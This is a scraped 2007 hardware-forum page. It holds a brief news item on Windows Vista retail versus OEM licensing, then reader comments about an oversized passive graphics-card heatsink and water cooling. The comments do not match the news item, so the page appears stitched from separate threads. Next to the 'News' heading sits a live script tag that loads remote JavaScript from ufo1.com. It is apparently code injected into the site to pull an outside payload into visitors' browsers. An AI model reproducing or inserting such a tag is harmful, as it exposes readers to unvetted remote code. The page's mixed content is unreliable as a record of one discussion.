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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 30/01/07
Author: v a d e R`
Source: ars technica


Ars technica has posted a useful guide for potential Vista buyers. The list contains an overview of limitations to using OEM software. Some limitations are minor, such as no Vista box, while some limitations may be more of a problem with OEM being tied to only one motherboard. The difference between Vista retail and OEM is $100 per version. Read the facts here .

There are four versions of retail Windows Vista. The supreme version, known as Windows Vista Ultimate has features of all other versions with addons known as Ultimate Extras.



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30-01-2007, 08:54:04

TJS
[IMG]http://oldforums.overclock3d.net/oc3d_gfx/smilies/cussing.gif[/IMG][IMG]http://oldforums.overclock3d.net/oc3d_gfx/smilies/cussing.gif[/IMG][IMG]http://oldforums.overclock3d.net/oc3d_gfx/smilies/cussing.gif[/IMG][IMG]http://oldforums.overclock3d.net/oc3d_gfx/smilies/cussing.gif[/IMG]ive sounds good, but you gotta have fans somewhere to push/pull the heat out of the case... might as well watercool.

TJS

Edit: P@$$ive is a bad word???

30-01-2007, 09:19:08

Toxcity
That looks like it will snap the chip in half!

Crazy! Just move to water and you will be fine! :o

30-01-2007, 10:07:50

mVp24
Holy ***************************




SHouldn't we be trying to make smaller, more efficient heatsinks?

30-01-2007, 10:13:50

llwyd


SHouldn't we be trying to make smaller, more efficient heatsinks?



Well once its got heatpipes and a lot of copper in it the only way do increase efficiency is to increase surface area. Other than that they could make all the fins copper, they would then cost a stupid amount.

30-01-2007, 11:27:48

Doddsy
I started looking for this when I got my 7900 because they were meant to be released last april or something, ended up re-using my nv5 silencer.

Thing is pretty huge though.

30-01-2007, 12:08:58

markkleb
The passive cooler on my XFX 7950 was really nice, not too big and kept the card at a good temp. The small ones I added to my 7600GT cards also work well.
I LOVE AC Cooling stuff, but this is too big. And just imagine all that heat just radiating all over the inside of your case.

I dont get what engineers are doing, its like "hey cases are big lets fill them up with stuff" but once full how is the air supposed to pass through them?

30-01-2007, 13:34:30

PP Mguire

I dont get what engineers are doing, its like "hey cases are big lets fill them up with stuff" but once full how is the air supposed to pass through them?

Vantec Tornados full blast? THis is way to big. I would never buy anything this big. Reminds me of the Thermaltake Sonic Tower.

30-01-2007, 13:47:55

BloodRed
Itsa very big :eek:

Best to get water cooling i should think :D

30-01-2007, 13:48:40

Toxcity

Itsa very big :eek:

Best to get water cooling i should think :D



Now why are you nicking my ideas? :p

30-01-2007, 13:54:23

BloodRed
Water cooling looks better (looking at your rig) than this brick of a heat sink and most of it can be put outside the case, so it might be a bit of a space saver compared to this beast :D
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